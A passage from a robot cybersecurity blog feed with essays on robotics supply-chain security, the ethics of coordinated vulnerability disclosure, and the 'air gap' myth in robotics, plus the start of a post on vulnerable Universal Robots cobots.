<li id="fn5" class="footnote-item"><p>Gutiérrez, C. S. V., Juan, L. U. S., Ugarte, I. Z., &amp; Vilches, V. M. (2018). Towards a distributed and real-time framework for robots: Evaluation of ROS 2.0 communications for real-time robotic applications. arXiv preprint arXiv:1809.02595. <a href="#fnref5" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn6" class="footnote-item"><p>Computer security. (2020). Retrieved June 23, 2020, from <a href="https://en.wikipedia.org/wiki/Computer_security">https://en.wikipedia.org/wiki/Computer_security</a>. <a href="#fnref6" class="footnote-backref">↩︎</a></p>
</li>
</ol>
</section>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Robotics and its compromised new supply chain]]></title><description><![CDATA[Insecurities in robotics are not just in the robots themselves, they are also in the whole supply chain, difficulting serving safe and secure robotics solutions.]]></description><link>https://cybersecurityrobotics.net/a-compromised-supply-chain-of-robots/</link><guid isPermaLink="false">5e9c63ef8c3931223010b1c6</guid><category><![CDATA[legal]]></category><category><![CDATA[robotics]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[Víctor Mayoral Vilches]]></dc:creator><pubDate>Sun, 31 May 2020 17:53:54 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p><mark>Insecurities in robotics are not just in the robots themselves, they are also in the whole supply chain</mark>. The tremendous growth and popularity of collaborative robots have over the past years introduced flaws in the –already complicated– supply chain, difficulting serving safe and secure robotics solutions.</p>
<p>This article builds upon a previous essay <sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup> and presents a series of thoughts and questions (most left unanswered and for future research). The aim is to question whether the current supply chain favors overall the end-user's security and safety.</p>
<h3 id="theroboticssupplychain">The robotics supply chain</h3>
<p>The robotics supply chain is generally organized as follows:</p>
<div class="mermaid" align="center">
    graph LR;
        M[Manufacturer] --> D[Distributor]
        D --> S[System Integrator]
        S --> U[End User]
</div>
<br>
<p>Traditionally,  <code>Manufacturer</code>, <code>Distributor</code> and <code>System Integrator</code> stakeholders were all into one single entity that served <code>End users</code> directly. This is the case of some of the biggest and oldest robot manufacturers including ABB or KUKA, among others.</p>
<p>Most recently, and specially with the advent of collaborative robots <sup class="footnote-ref"><a href="#fn2" id="fnref2">[2]</a></sup> and their insecurities <sup class="footnote-ref"><a href="#fn3" id="fnref3">[3]</a></sup>, each one of these stakeholders acts independently, often with a blurred line between <code>Distributor</code> and <code>Integrator</code>. This brings additional complexity when it comes to responding to <code>End User</code> demands, or solving legal conflicts.</p>
<blockquote>
<p>Companies like Universal Robots (UR) or Mobile Industrial Robots (MiR) represent best this <em>fragmentation</em> of the supply chain. When analyzed from a cybersecurity angle, one wonders: which of these approaches is more responsive and responsible when applying security mitigations? Does fragmentation difficult responsive reaction against cyber-threats? Are <code>Manufacturers</code> like Universal Robots pushing the responsibility and liabilities to their <code>Distributors</code> and the subsequent <code>Integrators</code> by fragmenting the supply chain? What are the exact legal implications of such fragmentation?</p>
</blockquote>
<h3 id="stakeholdersoftheroboticssupplychain">Stakeholders of the robotics supply chain</h3>
<p>Some of the stakeholders of both the <em>new</em> and the <em>old</em> robotics supply chains are captured and defined in the figure below:</p>
<p align="center">
    <img alt="Stakeholders of the robotics supply chain" src="https://cybersecurityrobotics.net/content/images/2020/05/The-supply-chain.png">
    <figcaption>Stakeholders of the robotics supply chain.</figcaption>
</p>
<p>Not much to add. The diagram above is far from complete. There're indeed more players but these few allow one to already reason about the present issues that exist in the robotics supply chain.</p>
<h3 id="thenewsupplychaininrobotics">The 'new' supply chain in robotics</h3>
<p>It really <strong>isn't new</strong>. The supply chain (and GTM straregy) presented by vendors like UR or MiR (both owned by Teradyne) was actually inspired by many others, across industries, yet, it's certainly been growing in popularity over the last years in robotics. In fact, one could argue that the popularity of collaborative robots is related to this <em>change in the supply chain</em>, where many stakeholders contributed to the spread of these new technologies.</p>
<p>This supply chain is depicted below, where a series of security-related interactions are captured:</p>
<p align="center">
    <img alt="Liabilies and responsibilities in the robotics suply chain" src="https://cybersecurityrobotics.net/content/images/2020/05/C8C71179-CF96-46A3-9BCD-E69CA6F4CD6D.png">
    <figcaption>Diagram presenting the interactions in the robotics supply chain, categorized by different sub-cases whereto evaluate the liabilies and responsibilities across the robotics suply chain. Each sub-case presents a series of Research Questions (RQn).</figcaption>
</p>
<p>The diagram presents several sub-cases, each deals with scenarios that may happen when robots present cybersecurity flaws. Beyond the interactions, what's outstanding is the <mark>more than 20 legal questions related to liabilities and responsibility</mark> that came up. This, in my opinion, <strong>reflects clearly the complexity of the current supply chain in robotics, and the many compromises one needs to assume</strong> when serving, distributing, integrating, or operating a robot.</p>
<p>What's more scary, is that most of the stakeholders involved in the supply chain I interact with <ins>ignore their responsibilities</ins> (different reasons, from what I can see). The security angle in here is critical. Security mitigations need to be supplied all the way down to the end-user products, otherwise, it'll lead to hazards.</p>
<p>While I am not a laywer, my discussions with lawyers on this topic made me believe that there's lack of legal frameworks and/or clear answers in Europe for most of these questions. Morever, <mark>the lack of security awareness from many of the stakeholders involved <sup class="footnote-ref"><a href="#fn2" id="fnref2:1">[2:1]</a></sup> is not only compromising intermediaries (e.g. <code>Distributor</code>s and <code>System Integrator</code>s), but ultimately exposing end-users to risks</mark>.</p>
<p>Altogether, I strongly believe this 'new' supply chain and the clear lack of security awareness and reactions leads to a compromised supply chain in robotics. I'm listing below a few of the most relevant (refer to the diagram above for all of them) cybersecurity-related questions raised while building the figure above reasoning on the supply chain:</p>
<ul>
<li>Who is responsible (across the supply chain) and what are the liabilities if as a result of a cyber-attack there is human harm for a previously not known (or reported) flaw for a particular manufacturers's technology?<sup class="footnote-ref"><a href="#fn4" id="fnref4">[4]</a></sup></li>
<li>Who is responsible (across the supply chain) and what are the liabilities if as a result of a cyber-attack there is a human harm for a known and disclosed but not mitigated flaw for a particular manufacturers's technology?</li>
<li>Who is responsible (across the supply chain) and what are the liabilities if as a result of a cyber-attack there is a human harm for a known, disclosed and mitigated flaw, yet not patched?</li>
<li>What happens if the harm is environmental?</li>
<li>And if there is no harm? Is there any liability for the lack of responsible behavior in the supply chain?</li>
<li>What about researchers? are they allowed to freely incentivate security awareness by ethically disclosing their results? (which you'd expect when one discovers something)</li>
<li>Can researchers collect insecurity evidence to demonstrate non-responsible behavior without liabilities?</li>
</ul>
<p>While I can't answer most of this now, I hope I will in the short future.</p>
<h3 id="sowhatsbetterfragmentationorthelackofit">So, what's better, fragmentation or the lack of it?</h3>
<p>I see a huge growth through fragmentation yet,  still, reckon that the biggest and most successful robotics companies out there tend to integrate it all.</p>
<p>What's clear to me is that fragmentation of the supply chain (or the 'new' supply chain) presents clear challenges for cybersecurity. <mark>Maintaining security in a fragmented scenario is more challenging</mark>, requires more resources and a well coordinated and often distributed series of actions (which by reason is tougher).</p>
<blockquote>
<p>fragmentation of the supply chain (or the 'new' supply chain) presents clear challenges from a security perspective.</p>
</blockquote>
<p>So what's better from a security angle? I don't know. I really don't. My team and I at <a href="https://aliasrobotics.com/">Alias Robotics</a> are still <a href="https://github.com/aliasrobotics/RVD">collecting data</a> and slowly disclosing while cooperating with vendors. What's clear is that much needs to be done to improve the current robotics supply chain and prepare it for the upcoming cyber-threats.</p>
<p>Investing in robot cybersecurity by either building your own security team or relying on external support is a must.</p>
<h3 id="references">References</h3>
<hr class="footnotes-sep">
<section class="footnotes">
<ol class="footnotes-list">
<li id="fn1" class="footnote-item"><p>Mayoral-Vilches, V. <em>Vulnerability coordination and disclosure in robotics</em>. Cybersecurity and Robotics. Retrieved from /vulnerability-coordination-and-disclosure-in-robotics/ <a href="#fnref1" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn2" class="footnote-item"><p>Mayoral-Vilches, V. <em>Universal Robots cobots are not secure</em>. Cybersecurity and Robotics. Retrieved from /security-universal-robots/ <a href="#fnref2" class="footnote-backref">↩︎</a> <a href="#fnref2:1" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn3" class="footnote-item"><p>Mayoral-Vilches, V. <em>More than 100 companies use vulnerable collaborative robots</em>. Cybersecurity and Robotics. Retrieved from /companies-use-vulnerable-collaborative-robots/ <a href="#fnref3" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn4" class="footnote-item"><p>Note this questions covers both, 0-days and known flaws that weren't previously reported. <a href="#fnref4" class="footnote-backref">↩︎</a></p>
</li>
</ol>
</section>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Vulnerability coordination and disclosure in robotics]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>As nicely pointed out in <sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup>, responsible cybersecurity research and more specifically, <mark>vulnerability disclosure, is a <strong>two-way street</strong>. Vendors and manufacturers<sup class="footnote-ref"><a href="#fn2" id="fnref2">[2]</a></sup>, as well as researchers, must act responsibly</mark>.</p>
<p>According to recent research <sup class="footnote-ref"><a href="#fn3" id="fnref3">[3]</a></sup> <sup class="footnote-ref"><a href="#fn4" id="fnref4">[4]</a></sup> <sup class="footnote-ref"><a href="#fn5" id="fnref5">[5]</a></sup>, most vendors and manufacturers in robotics are ignoring security flaws completely. Creating pressure on</p>]]></description><link>https://cybersecurityrobotics.net/vulnerability-coordination-and-disclosure-in-robotics/</link><guid isPermaLink="false">5ec0348f0ae4c81c48521258</guid><category><![CDATA[vulnerabilities]]></category><category><![CDATA[robotics]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[Víctor Mayoral Vilches]]></dc:creator><pubDate>Sun, 17 May 2020 11:48:11 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>As nicely pointed out in <sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup>, responsible cybersecurity research and more specifically, <mark>vulnerability disclosure, is a <strong>two-way street</strong>. Vendors and manufacturers<sup class="footnote-ref"><a href="#fn2" id="fnref2">[2]</a></sup>, as well as researchers, must act responsibly</mark>.</p>
<p>According to recent research <sup class="footnote-ref"><a href="#fn3" id="fnref3">[3]</a></sup> <sup class="footnote-ref"><a href="#fn4" id="fnref4">[4]</a></sup> <sup class="footnote-ref"><a href="#fn5" id="fnref5">[5]</a></sup>, most vendors and manufacturers in robotics are ignoring security flaws completely. Creating pressure on these groups towards more reasonably-timed fixes will result in smaller windows of opportunity for cybercriminals to abuse vulnerabilities. This is specially important in robotics, given its direct physical connection with the world.</p>
<p>Coherently, vulnerability disclosure policies establish a two-way framework for coordination between researchers and manufacturers, and result in greater security in robotics and overall improved safety<sup class="footnote-ref"><a href="#fn3" id="fnref3:1">[3:1]</a></sup>.</p>
<p>In other words:</p>
<blockquote>
<p>Coordinated vulnerability disclosure aims to avoid 0-days. A prompt mitigation is key.</p>
</blockquote>
<p>Preliminary work on Vulnerability Diclosure Policies (VDP) in robotics inclued the Robot Vulnerability Database (RVD) VDP (<a href="https://github.com/aliasrobotics/RVD#disclosure-policy">link</a>). This policy is strongly in line with a desire to improve the robotics industry response times to security bugs, but also results in softer landings for bugs marginally over deadline. More recent activity of VDPs within the Robot Operating System (ROS) community happened first at the <a href="https://docs.google.com/document/d/1qJFlenKvHh5mKVbY-Hc5RK-k_FAJFpiB-rzIfcFqoC0/">here</a>, <a href="https://docs.google.com/document/d/1YV48GS041DyBGZSj2TZQFlyJbjEqdgImHQpV8keAEHI/edit#heading=h.sc6x8wiz5a65">here</a> and ultimately landing into <a href="https://github.com/ros-infrastructure/rep/pull/262">this PR</a>.</p>
<p><em><strong>Notice</strong>: This article touches into sensitive topic and provides an intuition into what I believe are best practices. The content in here is for  informational purposes only. The author should thereby not liable for any damages of any nature incurred as a result of or in connection with the use of this information.</em></p>
<h3 id="howdoestheprocesswork">How does the process work?</h3>
<p>The ideal and most common case is depicted below:</p>
<p align="center">
    <img alt="Vulnerability with coordinated disclosure" src="https://cybersecurityrobotics.net/content/images/2020/05/diagram-2-.svg">
    <figcaption>Ideal vulnerability coordinated disclosure process</figcaption>
</p>
<p>This scenario is one of the several the study cases covered in <sup class="footnote-ref"><a href="#fn6" id="fnref6">[6]</a></sup>. If you wish to learn more about coordinated disclosure in the robotics environment (which will generally always involve multi-party), I highly encourage to read <sup class="footnote-ref"><a href="#fn6" id="fnref6:1">[6:1]</a></sup> and <sup class="footnote-ref"><a href="#fn7" id="fnref7">[7]</a></sup>, including its resources.</p>
<p align="center">
    <img alt="Vulnerability with coordinated disclosure" src="https://cybersecurityrobotics.net/content/images/2020/05/38C531C2-F6AD-47F9-92DD-49A5FA4D83D0.png">
    <figcaption>Ideal vulnerability coordinated disclosure process annotated indicating the exposure and risk time periods. Note that in both periods, it's the manufacturer's responsibility to try and minimize their extension.  Vendors caring more about security will present smaller `exposure` and `risk` time frames.</figcaption>
</p>
<p>Note the following:</p>
<ul>
<li><code>exposure</code> time frame: is managed, caused and fully controlled by the vendor or manufacturer, it's up to them to notify the corresponding entities and/or defenders to provide a mitigation via signatures, patches or related.</li>
<li><code>risk</code> time frame: is managed by the vendor or manufacturer. Often, shows how fast and security-ready a particular technology is.</li>
</ul>
<p><strong>Bottom line</strong>: <mark>it's is the manufacturer's responsibility to try and minimize <code>exposure</code> and <code>risk</code> time frames</mark>. Researchers and end-users can often do very little to make both of these periods shorter. Vendors caring more about security will present smaller <code>exposure</code> and <code>risk</code> time frames.</p>
<blockquote>
<p>Vendors caring more about security will present smaller <code>exposure</code> and <code>risk</code> time frames.</p>
</blockquote>
<h3 id="atroublingcoordination">A troubling &quot;coordination&quot;</h3>
<p>The outlook seems rather clear, researchers should agree with vendors and manufacturers on a disclosure framework, deriving into a VDP.</p>
<p>Ideally, the particularities of each vulnerability should be considered <em>individually</em> and the disclosure framework should be flexible enough to accomodate different severities. <mark>More severe flaws should impose a higher pressure on the vendor or manufacturer, so that end-users are protected faster</mark>. Vulnerabilities affecting a third-party software component that presents no exploitability on a first look can't be considered at the same level as a remote code execution vulnerability in a robot operating in a healthcare environment. The reality is different though.</p>
<blockquote>
<p>Vulnerabilities affecting a third-party software component that presents no exploitability on a first look can't be considered at the same level as a remote code execution vulnerability in a robot operating in a healthcare environment.</p>
</blockquote>
<p>Often, researchers are <em>forced</em> to accept a pre-existing VDP which does not meet their particular scenario. Such situation has traditionally happened by either law suits (without legal base in most of the cases) or by exercising peer-pressure on researchers and publicly discrediting their work through communication actions (<mark>Note it's often the vendors and manufacturers the one controlling communications via commercials</mark>). This has been happening for the last 20 years starting with big software corporations opposing cybersecurity research and <em>demonizing</em> it. More importantly, <mark>this is already happening in robotics</mark>. The misuse of communication to silence and exercise social peer-pressure on security researchers is likely one of the reasons why currently, the general public, does not differentiate between cybercriminals  and hackers.</p>
<blockquote>
<p>The misuse of communication to silence and exercise social peer-pressure on security researchers is likely one of the reasons why currently, the general public, does not differentiate between cybercriminals  and hackers.</p>
</blockquote>
<p>There're hundreds of documented cases where well known security researchers have described their experiences collaborating with big or small companies. <sup class="footnote-ref"><a href="#fn8" id="fnref8">[8]</a></sup> displays one of such. Google security research group indirectly acknowledges this via their following paragraph from <sup class="footnote-ref"><a href="#fn1" id="fnref1:1">[1:1]</a></sup>:</p>
<p><em>We call on all researchers to adopt disclosure deadlines in some form, and feel free to use our policy verbatim (we've actually done so, from Google's) if you find our record and reasoning compelling.</em></p>
<p><strong>It's ultimately the researcher's duty to decide on which disclosure deadlines they accept</strong>. Of course this doesn't mean they shouldn't listen to the needs of the vendors or manufacturers. Coordination is key. Security research is a two-way street. <mark>The final goal is to reduce the number of 0-days</mark>.</p>
<h3 id="whoownscybersecurityresearchresults">Who owns cybersecurity research results?</h3>
<p>As a roboticist working on cybersecurity research for robots, I'm lucky to work side-by-side with people with interesting backgrounds, including some biologists. According to what I've learned, If a celullar biologist finds a new species, it's commonly accepted that such discovery belongs to him or her (he may even generally name it after himself!). Similar situations happen across other areas and domains, but traditionally not in security. This is nicely introduced in <sup class="footnote-ref"><a href="#fn8" id="fnref8:1">[8:1]</a></sup> by César Cerrudo. The default scenario is the following one:</p>
<ol>
<li>Researcher discovers a security vulnerability.</li>
<li>Researcher responsibly reports such vulnerability to the corresponding vendor.</li>
<li>Vendor may consider (or not the vulnerability). In some cases, vendor enters into a cooperation (often <strong>not remunerated</strong>) with such researcher under confidentiality agreements that oblige the researcher to not disclose anything unless the vendor consents it.</li>
<li>Vendor mitigates (or <strong>not</strong>) such flaw and eventually and –in some cases years after– decides to disclose the vulnerability and credit the researcher.</li>
</ol>
<blockquote>
<p>Cybersecurity research results are owned by the researcher.</p>
</blockquote>
<p>Cybersecurity research results are owned by the researcher. She or he deserves all the credit for her original work. The associated Intellectual Property (IP) for the discovery should follow similarly. It's of course the researcher's duty to act ethically, and establish the right procedures to ensure her discovery is used ethically.</p>
<p>A quick look into the security advisores of any vendor of software robot components can give you an intuition of how long it takes for a vendor to react. The norm isn't below 6 months and in many cases, historically, we can see disclosures after many years. Is the researcher who signs a Non-Confidentiality-Agreement (NDA) acting ethically allowing the vendor to expose (potentially) thousands of users over a many-year period? Is the vendor who forces the researcher to sign an NDA to &quot;discuss collaborations&quot; and later avoids prompt reaction and disclosures ethical?</p>
<h3 id="theethicsbehindvulnerabilitydisclosureinrobotics">The ethics behind vulnerability disclosure in robotics</h3>
<p>As with most things in life, context matters. Arguably, the most affected group is the end-user. Let's consider the previous questions as case studies and argue about them <mark>always considering the end-user viewpoint</mark> (neither the researcher's nor the vendor's):</p>
<h4 id="casestudy1istheresearcherwhosignsanndaactingethicallyallowingthevendortoexposepotentiallythousandsofusersoveramanyyearperiod">Case study 1: Is the researcher who signs an NDA acting ethically allowing the vendor to expose (potentially) thousands of users over a many-year period?</h4>
<p>Let's analyze the following dynamics graphically:</p>
<p align="center">
    <img alt="Vulnerability with coordinated disclosure" src="https://cybersecurityrobotics.net/content/images/2020/05/38C531C2-F6AD-47F9-92DD-49A5FA4D83D0-2.png">
    <figcaption>Graphical representation of a researcher that signs an NDA and looses complete control the disclosure of information</figcaption>
</p>
<p>Often, from the moment an NDA is in place and signed, the upstream vendor or manufacturer manages the timing. From that point on, disclosures are under the control of the the vendor. Will the company ever disclose it crediting back? Will they do it responsibly and with a reasonable time frame? There're no guarantees for the security researcher and coherently, <mark>if the security researcher accepts confidentiality agreements without any deadline, it wouldn't be acting ethically from the end-users viewpoint since the flaw could remain present for years</mark>.</p>
<p>In other words, the <code>exposure</code> time is not under the control of the researcher anymore and could get extended as much as the vendor desires. <strong>This is an extremely common case</strong> in cybersecurity, one that I've faced repeatedly already in robot cybersecurity.</p>
<h4 id="casestudy2isthevendorwhoforcestheresearchertosignanndatodiscusscollaborationsandlateravoidspromptreactionanddisclosuresethical">Case study 2: Is the vendor who forces the researcher to sign an NDA to &quot;discuss collaborations&quot; and later avoids prompt reaction and disclosures ethical?</h4>
<p align="center">
    <img alt="Vulnerability with coordinated disclosure" src="https://cybersecurityrobotics.net/content/images/2020/05/38C531C2-F6AD-47F9-92DD-49A5FA4D83D0-1.png">
    <figcaption>Graphical representation of a vendor that forces researchers to sign NDAs prior deadline agreements</figcaption>
</p>
<p>This case is similar but from the vendor's angle. Accordingly, <mark>the vendor would not be acting ethically from the end-users perspective unless they commit to responsible deadline that protects customers</mark>.</p>
<h4 id="casestudy3istheresearcherwhoafterresponsiblyattemptingtocoordinatewiththevendormayberepeatedlydecidestodiscloseitsfindingsactingethically">Case study 3: Is the researcher who –after responsibly attempting to coordinate with the vendor (maybe repeatedly)– decides to disclose its findings acting ethically?</h4>
<p><mark>Yes, it is, provided the researcher seeks best interest of end-users</mark>.</p>
<p align="center">
    <img alt="Vulnerability with coordinated disclosure" src="https://cybersecurityrobotics.net/content/images/2020/05/38C531C2-F6AD-47F9-92DD-49A5FA4D83D0-3.png">
    <figcaption>Graphical representation of a researcher that discloses findings directly to end-users</figcaption>
</p>
<p>After repeated iterations, maybe via different channels, after having ensured that the vendor is aware if there're still no responses, from the end-user ethics viewpoint, it's the researcher's duty to disclose the flaw and allow end-users to demand proper service and fixes.</p>
<p>This is more common than it appears. In fact, <a href="https://news.aliasrobotics.com/week-of-universal-robots-bugs-exposing-insecurity/">https://news.aliasrobotics.com/week-of-universal-robots-bugs-exposing-insecurity/</a>. In this case, Alias Robotics decided to disclose dozens of vulnerabilities from Universal Robots after not managing to coordinate with them on mitigation.</p>
<p>If you'd like to read more about the status, refer to:</p>
<ul>
<li><a href="https://cybersecurityrobotics.net/security-universal-robots/">Universal Robots cobots are not secure</a> or</li>
<li><a href="https://cybersecurityrobotics.net/universal-robots-ip-disclosure-insecure-exfiltration/">Delivering unprotected IP into robots, Universal Robots+</a></li>
</ul>
<p>What if the researcher doesn't only look for end-users interests but also his/her own? E.g. monetary?</p>
<h4 id="casestudy4istheresearcherwhoreleasespubliclyflawstoendusersactingethically">Case study 4: Is the researcher who releases publicly flaws to end-users acting ethically?</h4>
<p><mark>Depends</mark>. The right ethical approach (again, from the end-users' angle) is to attempt to reach common ground with the vendor for coordinated disclosure and assist the vendor in the process.</p>
<p>Sometimes, some groups don't have the time or resources (legal, person-power, etc.) to follow up with this procedure and opt for disclosure. In such cases they can head directly to a CERT who will coordinate with the vendor on their behalf. <mark>Provided the researcher hands the coordination responsability to the CERT and abides by its deadline (e.g. 20, 45 or 90 days), then the researcher will be acting ethically from the end-users viewpoint</mark>, even if it releases the flaws publicly once the deadline is met.</p>
<h4 id="casestudy5istheresearcherwhosellsitsfindingsactingethically">Case study 5: Is the researcher who sells its findings acting ethically?</h4>
<p><mark>Depends. Provided all conditions above are met, it is</mark>. Why not? <strong>Security research needs to be funded</strong>. This is one of the core principles behind bug bounty programs, to incentivate researchers to file in bug tickets, rather than selling them to third parties who may or may not use them for ethical purposes (e.g. vulnerability databases might buy flaws, but similarly, criminals or organizatios with malicious intentions do).</p>
<blockquote>
<p>Many researchers find themselves constantly in a crossroad. Many vendors and manufacturers don't agree to fund security research, but demand instead flaws to be reported to them under an non-compromising-NDA to &quot;avoid&quot; suing researchers.</p>
</blockquote>
<p>Most security researchers have faced this. Researchers need to consider whether they &quot;give away&quot; their findings to the vendor or to the end-users. To me, based on the rationale above, the answer is rather straightforward, the end-user should be considered first.</p>
<hr class="footnotes-sep">
<section class="footnotes">
<ol class="footnotes-list">
<li id="fn1" class="footnote-item"><p><em>How Google handles security vulnerabilities</em>. Google. Retrieved from <a href="https://www.google.com/about/appsecurity/">https://www.google.com/about/appsecurity/</a> <a href="#fnref1" class="footnote-backref">↩︎</a> <a href="#fnref1:1" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn2" class="footnote-item"><p>By referring to vendors and manufacturers I aim to cover robot software vendors and robot hardware manufacturers. The later is often both. <a href="#fnref2" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn3" class="footnote-item"><p>Kirschgens, L. A., Ugarte, I. Z., Uriarte, E. G., Rosas, A. M., &amp; Vilches, V. M. (2018). Robot hazards: from safety to security. arXiv preprint arXiv:1806.06681. <a href="#fnref3" class="footnote-backref">↩︎</a> <a href="#fnref3:1" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn4" class="footnote-item"><p>Mayoral-Vilches, V., Juan, L. U. S., Carbajo, U. A., Campo, R., de Cámara, X. S., Urzelai, O., ... &amp; Gil-Uriarte, E. (2019). Industrial robot ransomware: Akerbeltz. arXiv preprint arXiv:1912.07714. <a href="#fnref4" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn5" class="footnote-item"><p>Vilches, V. M., Juan, L. U. S., Dieber, B., Carbajo, U. A., &amp; Gil-Uriarte, E. (2019). Introducing the robot vulnerability database (rvd). arXiv preprint arXiv:1912.11299. <a href="#fnref5" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn6" class="footnote-item"><p>National Telecommunications and Information Administration (NTIA) and FIRST. Guidelines and Practices for Multi-Party Vulnerability Coordination and Disclosure. Version 1.1. Released Spring, 2020. Retrieved from <a href="https://www.first.org/global/sigs/vulnerability-coordination/multiparty/guidelines-v1.1">https://www.first.org/global/sigs/vulnerability-coordination/multiparty/guidelines-v1.1</a> <a href="#fnref6" class="footnote-backref">↩︎</a> <a href="#fnref6:1" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn7" class="footnote-item"><p>National Telecommunications and Information Administration (NTIA) and FIRST. Guidelines and Practices for Multi-Party Vulnerability Coordination and Disclosure. Version 1.0. Released Summer, 2017. Retrieved from <a href="https://www.first.org/global/sigs/vulnerability-coordination/multiparty/guidelines-v1.0">https://www.first.org/global/sigs/vulnerability-coordination/multiparty/guidelines-v1.0</a> <a href="#fnref7" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn8" class="footnote-item"><p>C. Cerrudo. <em>Historias de 0days, Disclosing y otras yerbas</em>. Ekoparty Security Conference 6th edition.  Retrieved from <a href="https://vimeo.com/16504265">https://vimeo.com/16504265</a>. <a href="#fnref8" class="footnote-backref">↩︎</a> <a href="#fnref8:1" class="footnote-backref">↩︎</a></p>
</li>
</ol>
</section>
<!--kg-card-end: markdown--><p></p><p></p>]]></content:encoded></item><item><title><![CDATA[The robotics "air gap"]]></title><description><![CDATA[The robotics air gap is a network security measure employed wherein the robot is assumed to be physically isolated from insecure networks. Robots however are networks of devices by definition. Networks of networks. The air gap is a dead myth in robotics.]]></description><link>https://cybersecurityrobotics.net/the-robotics-air-gap/</link><guid isPermaLink="false">5ea8789eefb0c961c4b75315</guid><category><![CDATA[robotics]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[Víctor Mayoral Vilches]]></dc:creator><pubDate>Fri, 08 May 2020 21:45:00 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>The <mark>robotics <em>air gap</em> is a network security measure employed wherein the robot is assumed to be physically isolated from insecure networks</mark>.</p>
<p>According to <sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup>, <em>air gap</em>, air wall or air gapping is a network security measure employed on one or more devices to ensure that a &quot;secure&quot; network is physically isolated from unsecured networks. Air-gap networks are networks that are physically and logically isolated from other networks where communication between these networks is not physically or logically possible.</p>
<h3 id="inheringthemythfromics">Inhering the myth from ICS</h3>
<p>The <em>air gap</em> in robotics is inherited from Industrial and Control Systems (ICS). Under the false assumption that these devices are &quot;<em>not connected</em>&quot;,  several vendors ignore cyber security. This goes to the point that many of these robots are so insecure, that their connection to any network (regardless of its security protections) presents relevant threats for the network itself. In other words, these insecure and correspondingly, unsafe robots (refer to a <a href="https://cybersecurityrobotics.net/quality-safety-security-robotics/">previous essay on safety and security</a>), are not only easily compromised across a variety of network configurations but also present a relevant threat to any professional network.</p>
<blockquote>
<p>many of these robots are so insecure, that their connection to any network   presents relevant threats for the network itself.</p>
</blockquote>
<p>Some opt for creating dedicated networks for these robots, often with certain security measures however this &quot;desired network isolation&quot; is easily broken. Either via exposed physical ports, through evil twin access point attacks, WiFi SSID spoofing or radio jammers, the so called isolated robot networks are easily compromised. Unsurprisingly these attacks, though extremely simple from a technical perspective are among the most effective ones against current robots. Robots are networks of devices by definition. Networks of networks. The <em>air gap</em> is a dead myth in robotics.</p>
<blockquote>
<p>Robots are networks of devices by definition. Networks of networks. The  <em>air gap</em> is a dead myth in robotics.</p>
</blockquote>
<p>For the skepticals and non-responsible manufacturers, here are a few good reasons presented in <sup class="footnote-ref"><a href="#fn2" id="fnref2">[2]</a></sup> before and adapted for robots:</p>
<ul>
<li>Modern robots are highly complex interconnected (implying different networks) systems.</li>
<li>Threats should be considered at the inter and intra networking levels.</li>
<li>Assuming a complete <em>air gap</em> between a robotic system and its enterprise/corporate/industrial network of operation is simply unrealistic.</li>
<li>Focusing security efforts on protecting a few obvious pathways (e.g. the network infrastructure authentication and authorization processes) but not its members is a flawed defense.</li>
</ul>
<p>The myth of the <em>air gap</em> in robotics is dead. <mark>A security-first approach is required in robots and robot components</mark>.</p>
<hr class="footnotes-sep">
<section class="footnotes">
<ol class="footnotes-list">
<li id="fn1" class="footnote-item"><p>Air gap (networking) (14:32, 16 March 2020). In Wikipedia. Retrieved from <a href="https://en.wikipedia.org/wiki/Air_gap_(networking)">https://en.wikipedia.org/wiki/Air_gap_(networking)</a> <a href="#fnref1" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn2" class="footnote-item"><p>Hauet, J. P. (2012). ISA99/IEC 62443: A solution to cybersecurity issues. In ISA Automation Conference. <a href="#fnref2" class="footnote-backref">↩︎</a></p>
</li>
</ol>
</section>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[More than 100 companies use vulnerable collaborative robots]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p><mark>More than 100 companies are using insecure collaborative robots putting at risk tenths of thousands of workers</mark> and infrastructures around the world. These insecurities stem from the use of <strong>technology from Universal Robots</strong> (a company owned by Teradyne).  Universal Robots technology is reportedly vulnerable and the manufacturer is proactively ignoring</p>]]></description><link>https://cybersecurityrobotics.net/companies-use-vulnerable-collaborative-robots/</link><guid isPermaLink="false">5ea8786aefb0c961c4b7530f</guid><category><![CDATA[Universal Robots]]></category><category><![CDATA[Cybersecurity]]></category><category><![CDATA[data]]></category><dc:creator><![CDATA[Víctor Mayoral Vilches]]></dc:creator><pubDate>Wed, 06 May 2020 05:00:00 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p><mark>More than 100 companies are using insecure collaborative robots putting at risk tenths of thousands of workers</mark> and infrastructures around the world. These insecurities stem from the use of <strong>technology from Universal Robots</strong> (a company owned by Teradyne).  Universal Robots technology is reportedly vulnerable and the manufacturer is proactively ignoring security after repeated security reports.</p>
